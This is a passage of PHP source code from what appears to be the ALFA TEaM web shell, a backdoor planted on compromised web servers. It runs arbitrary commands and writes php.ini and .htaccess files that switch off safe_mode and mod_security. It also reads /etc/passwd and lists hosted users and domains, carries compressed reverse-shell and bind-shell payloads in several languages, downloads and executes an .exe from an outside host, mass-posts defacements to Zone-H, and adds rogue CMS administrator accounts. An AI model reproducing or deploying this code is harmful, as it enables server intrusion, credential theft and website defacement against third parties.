/proc/interrupts",\r\n"lsattr"=>"lsattr -va",\r\n"Uptime"=>"uptime",\r\n"Fstab" =>"cat /etc/fstab"\r\n);}\r\nforeach($process as $n => $link){\r\necho \'<a href="javascript:void(0);" onclick="g(\\\'proc\\\',null,\\\'\'.$link.\'\\\')"> | \'.$n.\' | </a>\';\r\n}\r\necho "</center><br>";\r\nif(!empty($_POST[\'alfa1\'])){\r\necho "<pre class=\'ml1\' style=\'margin-top:5px\' >";\r\nif(isset($GLOBALS["glob_chdir_false"])&&!empty($_POST["c"])){$cmd = "cd \'".addslashes($_POST["c"])."\';";}\r\necho alfaEx($cmd.$_POST[\'alfa1\']);\r\necho \'</pre>\';\r\n}\r\necho "</div>";\r\nalfafooter();\r\n}\r\nfunction alfasafe(){\r\nalfahead();\r\necho "<div class=header><center><br><div class=\'txtfont_header\'>| Auto ByPasser |</div>";\r\necho \'<h3><a href=javascript:void(0) onclick="g(\\\'safe\\\',null,\\\'php.ini\\\',null)">| PHP.INI | </a><a href=javascript:void(0) onclick="g(\\\'safe\\\',null,null,\\\'ini\\\')">| .htaccess(apache) | </a><a href=javascript:void(0) onclick="g(\\\'safe\\\',null,null,null,\\\'pl\\\')">| .htaccess(LiteSpeed) |</a><a href=javascript:void(0) onclick="g(\\\'safe\\\',null,null,null,null,\\\'passwd\\\')">| Read-Passwd | </a><a href=javascript:void(0) onclick="g(\\\'safe\\\',null,null,null,null,null,\\\'users\\\')">| Read-Users | </a><a href=javascript:void(0) onclick="g(\\\'safe\\\',null,null,null,null,null,null,\\\'valiases\\\')">| Get-User | </a><a href=javascript:void(0) onclick="g(\\\'safe\\\',null,null,null,null,null,null,null,null,\\\'domains\\\')">| Get-Domains | </a></center></h3>\';\r\nif(!empty($_POST[\'alfa8\']) && isset($_POST[\'alfa8\']) == \'domains\'){\r\nif(!_alfa_file_exists("/etc/virtual/domainowners")){\r\necho __pre();\r\n$solevisible9 = _alfa_file(\'/etc/named.conf\');\r\nif(is_array($solevisible9)){\r\nforeach($solevisible9 as $solevisible13){\r\nif(@eregi(\'zone\',$solevisible13)){\r\npreg_match_all(\'#zone "(.*)"#\',$solevisible13,$solevisible14);\r\nif(strlen(trim($solevisible14[1][0])) > 2){\r\necho $solevisible14[1][0].\'<br>\';\r\n}}}\r\n}\r\n}else{\r\necho __pre();\r\n$users = _alfa_file("/etc/virtual/domainowners");\r\nif(is_array($users)){\r\nforeach($users as $boz){\r\n$dom = explode(":",$boz);\r\necho $dom[0]."\\n";}}}}\r\nif(!empty($_POST[\'alfa6\']) && isset($_POST[\'alfa6\']) == \'valiases\'){\r\necho \'\r\n<form onsubmit="g(\\\'safe\\\',null,null,null,null,null,null,\\\'valiases\\\',this.site.value,null,\\\'>>\\\'); return false;" method="post" /><center><div class="txtfont">Url: </font><input type="text" placeholder="site.com" name="site" /> <input type="submit" value=" " name="go" /></form></center>\';\r\nif(isset($_POST[\'alfa9\']) && $_POST[\'alfa9\'] == \'>>\'){\r\nif(!_alfa_file_exists("/etc/virtual/domainowners")){\r\n$site = trim($_POST[\'alfa7\']);\r\n$rep = str_replace(array("https://","http://","www."),"",$site);\r\n$user = "";\r\nif(function_exists("posix_getpwuid") && function_exists("fileowner")){\r\n\tif($user = @posix_getpwuid(@fileowner("/etc/valiases/{$rep}"))){\r\n\t\t$user = $user[\'name\'];\r\n\t}\r\n}else{\r\n\tif(_alfa_can_runCommand(true,true)){\r\n\t\t$user = alfaEx("stat -c \'%U\' /etc/valiases/".$rep);\r\n\t}\r\n}\r\nif(!empty($user)&&$user!=\'root\'){\r\necho __pre()."<center><table border=\'1\'><tr><td><b><font color=\\"#FFFFFF\\">User: </b></font></td><td><b><font color=\\"#FF0000\\">{$user}</font></b></td></tr><tr><td><b><font color=\\"#FFFFFF\\">site: </b></font></td><td><b><font color=\\"#FF0000\\">{$rep}</font></b></td></tr></table></center>";\r\n}else {echo __pre().\'<center><b>No such file or directory Or Disable Functions is not NONE...</b></center>\';}\r\n}else{\r\n$site = trim($_POST[\'alfa7\']);\r\n$rep = str_replace(array("https://","http://","www."),"",$site);\r\n$users = _alfa_file("/etc/virtual/domainowners");\r\nforeach($users as $boz){\r\n$ex = explode(":",$boz);\r\nif($ex[0] == $rep){\r\necho __pre()."<center><table border=\'1\'>\r\n<tr><td><b><font color=\\"#FFFFFF\\">User: </b></font></td><td><b><font color=\\"#FF0000\\">".trim($ex[1])."</font></b></td></tr>\r\n<tr><td><b><font color=\\"#FFFFFF\\">site: </b></font></td><td><b><font color=\\"#FF0000\\">{$rep}</font></b></td></tr></table></center>";break;}}}}}\r\nif(!empty($_POST[\'alfa5\']) && isset($_POST[\'alfa5\'])){\r\nif(!_alfa_file_exists("/etc/virtual/domainowners")){\r\necho __pre();\r\n$i = 0;\r\nwhile ($i < 60000) {\r\n$line = @posix_getpwuid($i);\r\nif (!empty($line)) {\r\nwhile (list ($key, $vl) = each($line)){\r\necho $vl."\\n";\r\nbreak;}}$i++;}\r\n}else{echo __pre();\r\n$users = _alfa_file("/etc/virtual/domainowners");\r\nforeach($users as $boz){\r\n$user = explode(":",$boz);\r\necho trim($user[1]).\'<br>\';}}}\r\nif(!empty($_POST[\'alfa4\']) && isset($_POST[\'alfa4\'])){\r\necho __pre();\r\nif(_alfa_can_runCommand(true,true)){echo __read_file("/etc/passwd");}elseif(function_exists("posix_getpwuid")){\r\nfor($uid=0;$uid<60000;$uid++){\r\n$ara = @posix_getpwuid($uid);\r\nif(!empty($ara)){\r\nwhile(list ($key, $val) = each($ara)){\r\necho "$val:";\r\n}echo "\\n";}}\r\n}else{__alert(\'failed...\');}}\r\nif(!empty($_POST[\'alfa2\']) && isset($_POST[\'alfa2\'])){\r\n@__write_file($GLOBALS[\'cwd\'].".htaccess","#Generated By Sole Sad and Invisible\\n<IfModule mod_security.c>\\nSec------Engine Off\\nSec------ScanPOST Off\\n</IfModule>");\r\necho \'<center><b><big>htaccess for Apache created...!</center></b></big>\';\r\n}\r\nif(!empty($_POST[\'alfa1\'])&& isset($_POST[\'alfa1\'])){\r\n@__write_file($GLOBALS[\'cwd\']."php.ini","safe_mode=OFF\\ndisable_functions=ByPassed By Sole Sad & Invisible(ALFA TEaM)");\r\necho \'<center><b><big> php.ini created...!</center></b></big>\';\r\n}\r\nif(!empty($_POST[\'alfa3\']) && isset($_POST[\'alfa3\'])){\r\n@__write_file($GLOBALS[\'cwd\'].".htaccess","#Generated By Sole Sad and Invisible\\n<Files *.php>\\nForceType application/x-httpd-php4\\n</Files>\\n<IfModule mod_security.c>\\nSecFilterEngine Off\\nSecFilterScanPOST Off\\n</IfModule>");\r\necho \'<center><b><big>htaccess for Litespeed created...!</center></b></big>\';\r\n}\r\necho "<br></div>";\r\nalfafooter();\r\n}\r\nfunction __get_resource($content){\r\nreturn @gzinflate(__ZGVjb2Rlcg($content));\r\n}\r\nfunction __write_file($file, $content){\r\nif($fh = @fopen($file, "wb")){\r\nif(fwrite($fh, $content)!==false) return true;\r\n}\r\nreturn false;\r\n}\r\nfunction bcinit($evalType, $evalCode, $evalOptions, $evalArguments){\r\n$res = "<font color=\'green\'>[ Success...! ]</font>";\r\n$err = "<font color=\'red\'>[ Failed...! ]</font>";\r\nif($evalOptions!="") $evalOptions = $evalOptions." ";\r\nif($evalArguments!="") $evalArguments = " ".$evalArguments;\r\nif($evalType=="c"){\r\n$tmpdir = ALFA_TEMPDIR;\r\nchdir($tmpdir);\r\nif(is_writable($tmpdir)){\r\n$uniq = substr(md5(time()),0,8);\r\n$filename = $evalType.$uniq.".c";\r\n$path = $filename;\r\nif(__write_file($path, $evalCode)){\r\n$ext = ($GLOBALS[\'sys\']==\'win\')? ".exe":".out";\r\n$pathres = $filename.$ext;\r\n$evalOptions = "-o ".$pathres." ".$evalOptions;\r\n$cmd = "gcc ".$evalOptions.$path;\r\nalfaEx($cmd);\r\nif(is_file($pathres)){\r\nif(chmod($pathres, 0755)){\r\n$cmd = $pathres.$evalArguments;\r\nalfaEx($cmd);\r\n}else{$res = $err;}\r\nunlink($pathres);\r\n}else{$res = $err;}\r\nunlink($path);\r\n}else{$res = $err;}\r\n}\r\nreturn $res;\r\n}elseif($evalType=="java"){\r\n$tmpdir = ALFA_TEMPDIR;\r\nchdir($tmpdir);\r\nif(is_writable($tmpdir)){\r\nif(preg_match("/class\\ ([^{]+){/i",$evalCode, $r)){\r\n$classname = trim($r[1]);\r\n$filename = $classname;\r\n}else{\r\n$uniq = substr(md5(time()),0,8);\r\n$filename = $evalType.$uniq;\r\n$evalCode = "class ".$filename." { ".$evalCode . " } ";\r\n}\r\n$path = $filename.".java";\r\nif(__write_file($path, $evalCode)){\r\n$cmd = "javac ".$evalOptions.$path;\r\nalfaEx($cmd);\r\n$pathres = $filename.".class";\r\nif(is_file($pathres)){\r\nif(chmod($pathres, 0755)){\r\n$cmd = "java ".$filename.$evalArguments;\r\nalfaEx($cmd);\r\n}else{$res = $err;}\r\nunlink($pathres);\r\n}else{$res = $err;}\r\nunlink($path);\r\n}else{$res = $err;}\r\n}\r\nreturn $res;\r\n}\r\nreturn false;\r\n}\r\nfunction alfaconnect(){\r\nalfahead();\r\n$php="7VZta9swEP5e6H9QjaE2S5uXfhg0pDBYPw7KVtiHtjOOLNcitqVJ8pKxpb99d36L4zid17WwQV1wrbvTo0e6Oz1hSgnlKSaFMjy9d0bu9PBAM+MZnjAv5gk3hU3MPZ7ImFNuvDDOdOSg1Ta+umdGkxlhKxmLgDkWsQaktOchFL3js7O3OFj6MEizOMYBaw50BAMLUIAJub78+GG2Mkwl06tP49nxrX31+f3F8bR0g206nPN0CJNOuIXTE5z9QN7FoU+umZ8QHbE4Jg/k8AD9PCQOFVlqnIqyS2ZAyyU/Dg8IPLYEgNI3LU05I6saGRzBogFa1oTFmu1BnXSi6pvRXRO5No/vtpfw6SJfomAdZik1XKQeW3FttHMsaWpiLxRqcew2FuIBTN748vSgBzEK74yc4IYBxzjjtru0j5p2KTRfeVANmgeO2wFQUkTe1dlsGGHatVGQC08LuoCa0kx9Y8qxDJXnw+HoNP87t8gp0IeaYUqlovgP8yoiFURZkyKDw9YDclYztenOQj6lTGJcczcQYkQslsBAZ3MYOTKSXpb6CXPcARkBpptv0lrydLMPfMKl4oY5NgV2CdCFtNElHskpsS6sahF8lhGPGZ4oOQKk0Ici2UKqiyLE1ANic3J97orde4lvaORYQxrcEufmy62+e+MOOfYWnpVS7g5ujh1gGYB7U1VtdK69gCsHIgGCRtV3R7QtAGt7r62oTRsYxZPmEduyPEysFov8/En2RnzNIMIlc8jgooWP6AUNHxr7coWTkIi1k4TWxGbGRHNv60ZWaSw0a+WgMtalU2xxbzU059oB1ryvlP/dGZHZRflpSS4ZJM5SFtTZuMOxRMek27G1gFTY5EpQT0iWAstogKtiUXDZjMSUHEGmFdMiUxTYSqyY7d7Hp9Fe8xi6B0UAweCygp7oFTnuHTnpFUlbQWVPGZXt9lJ+QzIRYhaxyIrvgpXbXVO28uss5Tms9lBSbHdCzTFmFO4U5UPkEl8MXqheXS3MU6+xgvL3dCvHmwDggyKO6q42rOqtyorN21HrxwjU2+vDog5+nAp9EovJn7CY/D2Ljl7XXb3eeQEUp73PM97r2S6gvFcrb61p6+YPiEo9Ufa31TNEOSsaPSrvfZbia0v/nknb9LNr207uXrWtib9P2+AHa1910z3UrYeQ6VchexEh008SMv0kIdMvLmS65+Wt/ych0/+EkP2ORV8he2nN+gU=";\r\n$python="pVRtT9swEP6cSv0PxptWR80M7YY0wYJUQZjQBlRtp30AVqXOpYmWOpHtQPnCb5/tJG1AHUKaqra+V99z95zf7e2XUuwvUr4P/B4VjyrJebeTropcKCTAk+WiEDkDKb1cevJRf3P2B5Sn0hV0O4WPcbeT2N8IYiQTyDLC3KNuxzFx/jaejvMCOGGe9fFnotTZVZSX6pnTxTgwahBilzrlL7WuvkmAKgVHRk2rlFRAGBG336h0upZqVSjiUuAsj4D0ShV//NLTeSoIIVNpzmsMaYxySXm4gj0fc4WNzol9RuM0A54Tc7ujPXRjFKwIhrVt3CyYXPprBWJ1PJ4O/N778a+zk95xbdWqY9tymaCPKfr6AfelEiR2+xidtIXhVjIXQSbBFvCQ6NuR6aAVHSUeq4MjdGkC2D0ZHAw/uzQCCxFbiNgW68CaQaFq/yKUstI2uR2DWWMjwj05qDXOwhdAJYSCJQSz6BaRm9+38q7vYk94cRYupXG4+HZ1PQlOR9PAreN0qkWTo+5lEaqEpjJKBVnQpcjLggxcd+NkmsmSF9bGqEcJPCL/mmDj18Ki8xl+WVYKt11JqVDII4tUnw3WOruRKkebB9XkOg+11HCkqeBoSz58y3FfF78ExR4Mz/CJ3omlr5lBQ7G810tV9XXp+v7Q7oe/vBncdTuQtSyf2hYn0YehddGVwDpVuhtm6VKuSKFP0q+2kVZ/pJZG5/OLq2BWryqdXp9+n09nk2B0aWI0TGUsebEJmF7/mBuvdsx8EvycBqOzs4lnLn1ZvaSawREh+IDaD/YKOwBJs1TvAieHRjLM1Csfur7uAjPEsyvT4qB5R6jMAAqLbTu8navXUIDgJzTK4hDNIFyhqZkvetIT2M2JLSFeC8ebp2F3ls3D8KwZdmAGJtLEzTkHpghJ6mbsxnn4Bpzy/3C+Fv5GnNL9Cw==";\r\n$perl="lZLRjpNAFIav26TvMOJsC8kYWr1bpJFQ3DRrS8OwGmOVsPSsTKQDgVm3m+722Z0BVifGGL0755/Dd+Abnj+zb5vavmbcBv4dVVAXo+FtA2gZnp/TMvsGwhkNcdm4+EuoqiZ3DThUZS1QHEQr9yCg3jsbOnMnW7z5sNjOJ05/LkOnJTc5esEM+TS7MRXqtLfvZMysY4s788MV3QT+GbIvDedRLhHuVxBVXYry+p6nezAnIqsmliQ07SuZlIw3b5PlOojJmIb+ZULjKPBWBAvr4WHHwLS6bW+86OK9686s42g4wJWLVf9p+lmeDhoQilZWCkfDd4kCSSANkyi4ooG3WERkpkAD+RE7OaTG092uThg3cUWWazWSeOuPlrZ1ULBGAJfjr/Q0zTKQm3xCrW65JPrEOCGvuElRDOke0RyKAp223CDTdqisgCMaL5ZrYrwe+4bzFIRXMTHmehJEUZ/I5+AAGZJqtfVZUTZg+pbTFfRnoehaI8laJ6lWB2QCTWUlLweK5pfYl38Si/O+nXUtcxkHkaSilNpyXQpO3d+cYqafZyXnkKn7wamet/boP9gze3vzMTUs5ynp9elR709FfxP4f946W3BU+kz5Jz3+AA==";\r\n$ruby="tVb7b9M6FP7Z+SuMN0hzVxLGQ+h2N6vGU0ggqjG4QmQXtc5pYy11gu3QoW387fiVrqXt1ivd66p1es7n8/T52p07SSNFMmI8Af4di2b0I9jBhVK17CXJhKmiGcW0miajR08fn7nPQMC3hgnAoazoGajwWlAPVcGHUwiDIIcxlg09kwESoBrB8fHHZ5+/Dt4enbx6f/wuzqsZp0MJ8XSoaNEJp3LG+KV5TxmfzMKor0QDvfGwlBAAz51FAcPSOOlIJSJtOdV7gNgYv2IlxHDOpJJ9r9TagY8n5jCz0rg1EKvqqw7NGDbHbaRYFcCxSEU8kc2ok2RJ0iVZRiJsYT4N4aLRh46OX3+KS+ATVaTpfoD1MqIvD07Tn8k/Xx7c//P0Yr/75Go36dfpG65gAqLjEVFPB6vsGZmePB98APEdhI2TkG4dWQ1NZTykFGoHpHEtGFeY2DZgWUBZ4h6mFedAFeQZJxY3ggnj9sksHSivlO8FXljjlJoqsCUhnAPF0voZdwic15VQ+OTl8bv0XIGYHgw+7Kdhtjv4+0V2GB54vRYe2DskC3yf4eyv7N7dHGeHdnvodtIdm1c09wamsYuu2/TmPSYxifbIIVlCzQrdaVzq2CeglhMySwyZBAxCVOKZqEzypWlGziAT/d1kBe+rU8a0qKZ1mhKyAvEwY4fmOP4jYWshZpVp6e+ORiasG4aRM7zxRHt1cz0/VFXiR79TRhvRzse8QLcgXzChvWvLNwHNZd6k264jCw31ZcpmvRvLtC5pV6etE7oN/p+mBRtNvXkf11UNvFN2iSDRxSWrLlvzrDJsk+8RPZd7K76ugm3D/l22+L19FiBpc33vNfnN6QW4bMR1BjKmZbWQkUw5K4PWluvhErE9tAS5gdi0o1VqO9DSIrXf9k81x5oC+oAc4TrGsz8ejvF2Loory3pIbsFxyBEcQkvUhhAaa760jIaMu/+byFCb2Tzo1QullS1hSUdYWoJuISkbP1rDTMjLF6nIytBm4kHtoTU0g9rDi4zihUvk4US2d3bdmLCty29MsDmKdpBX3S5r/o1z8Mh10ym3nM4lp353m/8zsHbgkJ82E6WbM/1kJwz58XKTZ8FG8gs=";\r\n$node="nVHLasMwEDwrkH8QvliCoEDTW8ih9BPSW/pAtdeRQJZcSXYKIfn2yrKd5tGWYh+Ed2d2NDtquMWu4juNV9jCRy0tkDQTUuVvlTUZOJdSFgnL6aQJZA3+nBrKlPaQ8xZ4eY52nRMhM9oZBRdXda1I6VUEKBUo6fxd6rkTaUBkQXo3rFLcF8aWrOQ+E2T+ugssSen3XFbmDD4hPSlyu20CMCi0ZafZ/jEFeuvFarWg++kEtXwRyGEvlgXzHtZgG7CkqHXmpdHERR5ybGelB5Ic8YMqOH5qV19HD8dnnbT74P7rtgqiMUcSjZ7jTjDnc6mZBVeXQOg1ZGrPws1Jzj1PZoMTTNqa7gcnsVoebpXB2pHjf40Npm+mUXcKpqTzoGPKm7uXtnmYTkA5wNfZ35+ydxfZPxqtoYu9V5nF19wsotx/HgH9lj76IXY0Mm80Mmg0LuHDFw==";\r\n$c="tVJtb9owEP7cSv0PHp1ap/WAsO0TTaWoZBLaChHJNE0bilLHNKcZG8Vmgk7rb98lBArZi/alUqzcPff47nzPnYLicpkJcmVsBrqdX58cn+5hBaj738BMwl0TXJuOXS+E+QNuNP8mbCOghAU8HVCNwFIBVqhAUJbMU1C0NNLinjOepwW5QPP7l6nz4+T4qIwYxpn23D662PCSI4IV0ywrElAEShxmtLzveb3q1hG0Dahkls5Brj3/XTIcBXH/KbDQhfVyq5WhqdVAq4Lu1HH2OGX+tql+FVXS4cgfDCaJP/q84Rlv83JaF2DR+OZ9EsWTwL9l3ZojbEnSC0sNxj8kJaeiJpPgYxSUGdmZZgYehJ5RvW1hRl8YR6zA0jrRHagMU9DGBMiFcwasu3JrmsThCoXEtxufeynnoqrefeoJU3HWeiS+nKUkFumcRLmQkjx+VS3We7MlZstFD4mHnnvg9eqUayw7py2xKkdL4mBy662sKOb9MHK985fhp8H1eb+OIoSm4KSDj+qYnLyCVt2t1EZQXjk/8QhpBNlp+/pZtC23tLI2zN60nveDKPQWYjh1iWPdMi7dy31kl/2fGzEMw8k4HifxTbgTmXKtlOD2r8rWe9GIOY5z1T1Yj0pT87+amobnHnjPoanZaorfLw==";\r\n$java="lVRNb9swDD2nQP+D4JM9BG6T04bCwz6ww4ABHZbeuhwUhbG12rIg0XGCNPvtoz7sumsvPdiWyCfy8ZGybHRrkP3he57LNn93c3khJyYF6G2XF7rb1FIwUXNrGa93/A54c7q8mGkj9xyBWeRIgJ1UvI4wjQwOCGpr2V1lgG8dfjzwXekOV0j2hkl7M3Xddvjkazv0DMgdOGhMn5+dvziQnbCSNpe2oMh+ScbCRTqHUJ9u92CM3MIk7r6VW2Y6lWae5wzNMSxmmyPC/ZptWMEU9Mxv3y8+LNc3wS8VMkFOyuPKTDdZdPSVrCEVH4vrjMVYM2KR90YipJv59VwMUG/f1Z2t0tH0asyz/4S34Ciq9NtBgEbZKgbZCXJSUZEWXDzcGS6Awnmwe4XqY72xY77shkuVkn5SlVQoN6UNIrjK3Dj43MHPRLMlXsnVRqorWyXeJXfp6mgRmrwE/GlaDQaPadLaXPEGkizH9kfbg/nKLRHKpdrC4XaXJr1USebkOcWo9EkC35itd9a/7DONHHMzx1YV1DX7+1uFzJPe9C75F9rbKOGqFQ+ArIp9C9voG7tL1F29eQ2qxKooFrH9M38NCppThBJMrrmxQBuPvr9eD/1YgaFZiqnskGpiTF2gAe242JwL17Gh0aGXUFtg/5NZvpVMEE1qwnrXYj1JPBFB6jmb8Dq/LgV7fGSv85newFK6siun/sQ8jvGzy1m2I3ZqH8HkH27HYKJxEuB+J3TwV6dQNuCOxyVNExxApDQ4WfxPkFo0tYtYMOmsX1CbOyJDAodePqFL90fRLxmO8EVOV8e49unluHyS0b/ecDPpOf8D";\r\necho "<div class=header><center><br><div class=\'txtfont_header\'>| Back Connect |</div><br><br>";\r\necho "<form onSubmit=\\"g(\'connect\',null,this.selectCb.value,this.server.value,this.port.value,this.cbmethod.value);return false;\\">\r\n<div class=\\"txtfont\\">Mehtod:</div> <select name=\'cbmethod\' onChange=\'ctlbc(this);\' style=\'width:120px;\'><option value=\'back\'>Reverse Shell</option><option value=\'bind\'>Bind Port</option></select> <div class=\\"txtfont\\">Use:</div> <select name=\'selectCb\'>";\r\n$cbArr = array("php"=>"Php","perl"=>"Perl","python"=>"Python","ruby"=>"Ruby","c"=>"C","java"=>"Java","node"=>"NodeJs","bcwin"=>"Windows");\r\nforeach($cbArr as $key=>$val){echo("<option value=\'{$key}\' ".($GLOBALS[\'sys\']==\'win\'?\'selected\':\'\').">{$val}</option>");}\r\necho "</select> <div id=\'bcipAction\' style=\'display:inline-block;\'><div class=\\"txtfont\\">IP:</div> <input type=\'text\' style=\'text-align:center;\' name=\'server\' value=\'". $_SERVER[\'REMOTE_ADDR\'] ."\'></div> <div class=\\"txtfont\\">Port: </div> <input type=\'text\' size=\'5\' style=\'text-align:center;\' name=\'port\' value=\'2012\'> <input type=\'submit\' value=\' \'></form><p><div id=\'bcStatus\'><small>Run ` <font color=\'red\'>nc -l -v -p port</font> ` on your computer and press ` <font color=\'red\'>>></font> ` button</small></div></p></center></b></font><br>";\r\nif(isset($_POST[\'alfa1\'])&&!empty($_POST[\'alfa1\'])){\r\n$lang = $_POST[\'alfa1\'];\r\n$ip = $_POST[\'alfa2\'];\r\n$port = $_POST[\'alfa3\'];\r\n$arg = ($_POST[\'alfa4\']==\'bind\'?$port:$port.\' \'.$ip);\r\n$tmpdir = ALFA_TEMPDIR;\r\n$name = $tmpdir.\'/\'.$lang.uniqid().rand(1,99999);\r\n$allow = array(\'perl\',\'ruby\',\'python\',\'node\');\r\neval(\'$lan=$\'.$lang.\';\');\r\nif(in_array($lang,$allow)){\r\nif(__write_file($name,__get_resource($lan))){\r\nif(_alfa_can_runCommand(true,true)){\r\n$os = ($GLOBALS[\'sys\']!=\'win\')?\'1>/dev/null 2>&1 &\':\'\';\r\n$out = alfaEx("$lang $name $arg $os");\r\nif($out==\'\'){$out="<font color=\'green\'><center>[ Finished...! ]</center></font>";}\r\necho("<pre class=\'ml1\' style=\'margin-top:5px\'>{$out}</pre>");\r\n}\r\n}else{\r\necho("<pre class=ml1 style=\'margin-top:5px\'><font color=\'red\'><center>[ Failed...! ]</center></font></pre>");\r\n}\r\n}\r\nif($lang==\'java\'||$lang==\'c\'){\r\n$code = __get_resource($lan);\r\n$out = nl2br(bcinit($lang, $code,\'\',\'\'));\r\necho("<pre class=ml1 style=\'margin-top:5px\'><center>{$out}</center></pre>");\r\n}\r\nif($lang==\'bcwin\'){\r\n$alfa = new AlfaCURL();\r\n$s = $alfa->Send(\'http://solevisible.com/bc/windows.exe\');\r\n$tmpdir = ALFA_TEMPDIR;\r\n$f = @fopen($tmpdir.\'/bcwin.exe\',\'w+\');\r\n@fwrite($f, $s);\r\n@fclose($f);\r\n$out = alfaEx($tmpdir."/bcwin.exe ".$_POST[\'alfa2\']." ".$_POST[\'alfa3\']);\r\n}\r\nif($lang==\'php\'){\r\necho "<pre class=ml1 style=\'margin-top:5px\'>";\r\n$code = __get_resource($lan);\r\nif($code!==false){\r\n$code = "\\$target = \\"".$arg."\\";\\n".$code;\r\neval($code);\r\necho("<center><font color=\'green\'>[ Finished...! ]</font></center>");\r\n}\r\necho "</pre>";\r\n}\r\n}\r\necho "</div>";\r\nalfafooter();\r\n}\r\nfunction alfazoneh(){\r\nalfahead();\r\necho \'<div class=header>\';\r\nif(!function_exists(\'curl_version\')){\r\necho "<pre class=ml1 style=\'margin-top:5px\'><center><font color=red><b><big><big>PHP CURL NOT EXIST ~ ZONE H MASS POSTER DOES NOT WORK</b></font></big></big></center></pre>";\r\n}\r\n$hackmode = array(\'known vulnerability (i.e. unpatched system)\',\'undisclosed (new) vulnerability\',\'configuration / admin. mistake\',\'brute force attack\',\'social engineering\',\'Web Server intrusion\',\'Web Server external module intrusion\',\'Mail Server intrusion\',\'FTP Server intrusion\',\'SSH Server intrusion\',\'Telnet Server intrusion\',\'RPC Server intrusion\',\'Shares misconfiguration\',\'Other Server intrusion\',\'SQL Injection\',\'URL Poisoning\',\'File Inclusion\',\'Other Web Application bug\',\'Remote administrative panel access bruteforcing\',\'Remote administrative panel access password guessing\',\'Remote administrative panel access social engineering\',\'Attack against administrator(password stealing/sniffing)\',\'Access credentials through Man In the Middle attack\',\'Remote service password guessing\',\'Remote service password bruteforce\',\'Rerouting after attacking the Firewall\',\'Rerouting after attacking the Router\',\'DNS attack through social engineering\',\'DNS attack through cache poisoning\',\'Not available\',\'Cross-Site Scripting\');\r\n$reason = array(\'Heh...just for fun!\',\'Revenge against that website\',\'Political reasons\',\'As a challenge\',\'I just want to be the best defacer\',\'Patriotism\',\'Not available\');\r\necho \'\r\n<center><br><div class="txtfont_header">| Zone-h Mass Poster |</div><center><br>\r\n<form action="" method="post" onsubmit="g(\\\'zoneh\\\',null,this.defacer.value,this.hackmode.value,this.reason.value,this.domain.value,\\\'>>\\\'); return false;">\r\n<input type="text" name="defacer" size="67" id="text" placeholder="ALFA TEaM 2012" />\r\n<br>\r\n<select id="text" name="hackmode" style="width:400px;">\';\r\n$x=1;\r\nforeach($hackmode as $mode){echo(\'<option style="background-color: rgb(F, F, F);" value="\'.$x.\'">\'.$mode.\'</option>\');$x++;}\r\necho \'</select><br><select id="text" name="reason" style="width:200px;">\';\r\n$x=1;\r\nforeach($reason as $mode){echo(\'<option style="background-color: rgb(F, F, F);" value="\'.$x.\'">\'.$mode.\'</option>\');$x++;}\r\necho \'</select><br>\r\n<textarea name="domain" cols="90" rows="20" placeholder="Domains..."></textarea><br>\r\n<p><input type="submit" value=" " name="go" /></p>\r\n</form></center>\';\r\nif($_POST[\'alfa5\'] && $_POST[\'alfa5\'] == \'>>\'){\r\nob_start();\r\n$hacker = $_POST[\'alfa1\'];\r\n$method = $_POST[\'alfa2\'];\r\n$neden = $_POST[\'alfa3\'];\r\n$site = $_POST[\'alfa4\'];\r\nif(empty($hacker)){\r\ndie (__pre()."<center><b><font color =\\"#FF0000\\">[+] YOU MUST FILL THE ATTACKER NAME [+]</font></b></center>");\r\n}elseif($method == "------------------------------------SELECT-------------------------------------"){\r\ndie(__pre()."<center><b><font color =\\"#FF0000\\">[+] YOU MUST SELECT THE METHOD [+]</b></font></center>");\r\n}elseif($neden == "------------------------------------SELECT-------------------------------------"){\r\ndie(__pre()."<center><b><font color =\\"#FF0000\\">[+] YOU MUST SELECT THE REASON [+]</b></font></center>");\r\n}elseif(empty($site)){\r\ndie(__pre()."<center><b><font color =\\"#FF0000\\">[+] YOU MUST INTER THE SITES LIST [+]<font></b></center>");\r\n}\r\n$i = 0;\r\n$sites = explode("\\n", $site);\r\n$alfa = new AlfaCURL();\r\nwhile($i < count($sites)){\r\nif(substr($sites[$i], 0, 4) != "http"){\r\n$sites[$i] = "http://".$sites[$i];\r\n}\r\n$alfa->Send("http://www.zone-h.com/notify/single","post","defacer=".$hacker."&domain1=". $sites[$i]."&hackmode=".$method."&reason=".$neden);\r\n++$i;\r\n}\r\necho __pre()."<center><font color =\\"#00A220\\"><b>[+] Sending Sites To Zone-H Has Been Completed Successfully !!![+]</b><font></center>";\r\n}\r\necho "</div>";\r\nalfafooter();\r\n}\r\nfunction alfapwchanger(){\r\nalfahead();\r\n\r\necho \'<div class=header><center><br><div class="txtfont_header">| Add New Admin |</div>\r\n<center><h3>\';\r\n$vals = array(\'WordPress\' => array(\'wp\',2),\'Joomla\' => array(\'joomla\',3),\'vBulletin\' => array(\'vb\',5),\'phpBB\' => array(\'phpbb\',6),\'WHMCS\' => array(\'whmcs\',7),\'MyBB\' => array(\'mybb\',8),\'Php Nuke\' => array(\'nuke\',9),\'Drupal\' => array(\'drupal\',10),\'SMF\' => array(\'smf\',11));\r\nAlfa_Create_A_Tag(\'pwchanger\',$vals);\r\necho \'</h3></center>\';\r\nif(isset($_POST[\'alfa1\'])&&$_POST[\'alfa1\']==\'wp\'){\r\n\r\necho __pre().\'<center><center><div class="txtfont_header">| WordPress |</div>\r\n<p>\'.getConfigHtml(\'wp\').\'</p><form onSubmit="g(\\\'pwchanger\\\',null,\\\'wp\\\',\\\'>>\\\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,this.admin.value,this.email.value,this.prefix.value);return false;" method="POST">\';\r\n$table = array(\'td1\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Mysql Host\',\'id\'=>\'db_host\', \'inputName\' => \'localhost\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),\r\n \'td2\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Name\', \'id\'=>\'db_name\',\'inputName\' => \'database\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td3\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db User\', \'id\'=>\'db_user\',\'inputName\' => \'username\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td4\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Pass\', \'id\'=>\'db_pw\',\'inputName\' => \'password\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td5\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Table Prefix\', \'id\'=>\'db_prefix\',\'inputName\' 